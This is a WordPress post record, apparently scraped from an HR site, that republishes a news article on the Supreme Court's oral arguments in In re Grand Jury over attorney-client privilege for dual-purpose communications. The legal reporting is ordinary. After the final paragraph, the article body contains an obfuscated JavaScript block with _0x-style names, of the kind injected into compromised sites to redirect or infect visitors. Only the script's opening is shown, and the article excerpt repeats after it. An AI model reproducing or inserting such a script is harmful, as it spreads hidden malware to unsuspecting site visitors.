{"id":153057,"date":"2023-01-10T02:00:02","date_gmt":"2023-01-10T02:00:02","guid":{"rendered":"https:\/\/www.shrm.org\/resourcesandtools\/legal-and-compliance\/employment-law\/pages\/supreme-court-arguments-dual-purpose-communications.aspx"},"modified":"2023-01-10T02:00:02","modified_gmt":"2023-01-10T02:00:02","slug":"supreme-court-hears-case-on-scope-of-attorney-client-privilege","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2023\/01\/10\/supreme-court-hears-case-on-scope-of-attorney-client-privilege\/","title":{"rendered":"Supreme Court Hears Case on Scope of Attorney-Client Privilege"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/01\/supreme-court-hears-case-on-scope-of-attorney-client-privilege.jpg\"><\/p>\n<div><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/01\/supreme-court-hears-case-on-scope-of-attorney-client-privilege-1.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>?The U.S. Supreme Court heard oral arguments Jan. 9 in a case about the scope of attorney-client privilege when there are &#8220;dual-purpose communications&#8221;\u2014discussions that are partly about legal matters and partly about business.<\/p>\n<p>Once issued, the court&#8217;s decision &#8220;could be incredibly important to employers and HR professionals,&#8221; said Richard Kiely, an attorney with Holland &amp; Hart in Denver and Jackson, Wyo. <\/p>\n<p>Some of the examples referenced in the oral arguments were communications about settling claims against a company; internal investigations conducted by in-house counsel, such as employment-related investigations; and even the common situation when an attorney might sit in on a business meeting simply to observe and listen for potential legal issues, Kiely noted.&nbsp;<\/p>\n<p>In addition, this issue comes up frequently in the context of tax advice, where the lawyer&#8217;s advice might include both a legal analysis of the tax code along with nonprivileged tax preparation or business-specific considerations. The dispute underlying this case, <em>In re Grand Jury<\/em>, itself <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/legal-and-compliance\/employment-law\/pages\/supreme-court-will-clarify-scope-of-attorney-client-privilege.aspx\" target=\"_blank\" rel=\"noopener noreferrer\">arose in the context of tax advice<\/a>.<\/p>\n<p class=\"shrm-Element-Subtitle\">Issue in the Case<\/p>\n<p>The issue in <em>In re Grand Jury<\/em> is when are dual-purpose business and legal communications protected by the attorney-client privilege and when are they not, explained Mary-Christine &#8220;M.C.&#8221; Sungaila, an attorney with Buchalter in Irvine, Calif., and San Diego. The court will address the following question: Should the privilege encompass communications where the client&#8217;s single primary purpose was to seek legal advice, or should it extend to communications where a significant purpose was seeking legal advice?<\/p>\n<p>The primary purpose test is a stricter test; it requires more exacting proof that a document was written for a particular purpose, noted Adam Shaw, an attorney with Boies Schiller Flexner in Albany, N.Y., in an interview. &#8220;If adopted, it stands to reason that fewer documents will be protected.&#8221;<\/p>\n<p>At argument, many of the justices appeared skeptical of the significant purpose test, Sungaila told <em>SHRM Online<\/em>. &#8220;This is concerning, since companies would benefit from a test that mirrors the reality of mixed business and legal communications in the modern era,&#8221; she said.<\/p>\n<p class=\"shrm-Element-Subtitle\">Petitioner&#8217;s Argument<\/p>\n<p>The 9th U.S. Circuit Court of Appeals used the primary purpose test. &#8220;This court should reverse the 9th Circuit and adopt the significant purpose test,&#8221; argued Daniel Levin, an attorney with Munger, Tolles &amp; Olson in Los Angeles, who was representing the law firm in this case that was seeking to shield fewer than 50 documents that had dual-purpose communication from being turned over to the government by claiming the attorney-client privilege.<\/p>\n<p>The significant purpose test protects clients&#8217; ability to seek bona fide legal advice from lawyers in situations where legal and nonlegal purposes can&#8217;t be separated, he said. &#8220;The 9th Circuit&#8217;s primary purpose test denies the privilege to communications that have a legal purpose anytime a court later finds that the nonlegal purpose outweighs the legal purpose even by a little bit.&#8221;<\/p>\n<p>He said that the primary purpose test requires parties and courts to disentangle competing purposes and identify the single most important one. &#8220;That is an inherently impossible exercise.&#8221;<\/p>\n<p>The primary purpose test will &#8220;create a chill on that communication because a lawyer who takes the test seriously is going to need to say to her client, &#8216;I can&#8217;t be confident here that this is going to be privileged and a confidential communication,&#8217; &#8221; Levin said. <\/p>\n<p>But Justice Sonia Sotomayor said, &#8220;The vast majority of states use the primary purpose test.&#8221; She later added, &#8220;I don&#8217;t know why lawyer advice that&#8217;s predominantly business should be protected simply because you sneak in some minor legal consideration.&#8221; <\/p>\n<p>Levin countered that there are a few states, such as Texas, that use significant purpose. <\/p>\n<p>Sotomayor responded, &#8220;The vast majority don&#8217;t.&#8221; She added, &#8220;We should be looking at what those state courts are doing, not dictating to them what to do.&#8221;<\/p>\n<p>She noted, &#8220;You make this claim that it&#8217;s so difficult, but I really haven&#8217;t seen much to say that it&#8217;s difficult to administer.&#8221; <\/p>\n<p>Justice Samuel Alito Jr. asked, &#8220;You&#8217;re not really arguing for a significant purpose; you&#8217;re arguing for any legitimate purpose?&#8221;<\/p>\n<p>Levin said, &#8220;I read our position as saying, if it&#8217;s legitimate and bona fide, it would qualify as significant.&#8221; He added, &#8220;I understand the court could say no, there&#8217;s some higher quantum.&#8221;<\/p>\n<p>Alito later said, &#8220;I think you&#8217;re trying to have it both ways. Significance concerns importance. Maybe it&#8217;s a lot lower perhaps than primary, but it does involve a certain quantum of importance.&#8221;<\/p>\n<p>Justice Elena Kagan asked if Levin would comment on &#8220;the ancient legal principle, if it ain&#8217;t broke, don&#8217;t fix it.&#8221;<\/p>\n<p class=\"shrm-Element-Subtitle\">Government&#8217;s Argument<\/p>\n<p>Masha Hansford, assistant to the solicitor general at the U.S. Department of Justice in Washington, D.C., said, &#8220;Reason and experience points to the primary purpose test, which has been used, as the discussion this morning indicates, for decades by a huge body of state and federal cases.&#8221;<\/p>\n<p>She added that the petitioner introduced a so-called freestanding significant purpose test, which, in its reply brief and again, repeatedly this morning, the petitioner acknowledged is merely a bona fide legal purpose test. Under the petitioner&#8217;s standard, &#8220;any nonpretextual legal purpose, no matter how minor, will do,&#8221; Hansford said.<\/p>\n<p>She warned that this approach &#8220;would vastly expand attorney-client privilege to communications that are currently available to grand juries and to courts.&#8221;<\/p>\n<p>What&#8217;s wrong with requiring if there&#8217;s an important legal purpose for the communication to be privileged? Alito asked.<\/p>\n<p>Hansford said it would be difficult for courts to define importance. Moreover, if the test were changed, &#8220;it would be very destabilizing,&#8221; as courts have been applying the primary test for years, she said.<\/p>\n<p>However, she suggested a predominant purpose test might apply in tough cases, such as an internal investigation where it is difficult to disentangle business and legal purposes. <\/p>\n<p>Nonetheless, she cautioned against a &#8220;sweeping sea change&#8221; that would result from abandoning the primary purpose test.<\/p>\n<p>Levin countered that saying investigations are subject to the attorney-client privilege but tax matters aren&#8217;t &#8220;is a recipe for confusion.&#8221;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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case about the scope of attorney-client privilege when there are &#8220;dual-purpose communications&#8221;\u2014discussions that are partly about legal matters and partly about business. Once issued, the court&#8217;s decision &#8220;could be incredibly important to employers and HR professionals,&#8221; said Richard Kiely, an attorney with Holland &amp; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":153058,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29,363,651],"tags":[],"class_list":["post-153057","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-employment-law","category-hr-news","category-investigations"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/153057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=153057"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/153057\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media\/153058"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=153057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=153057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=153057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}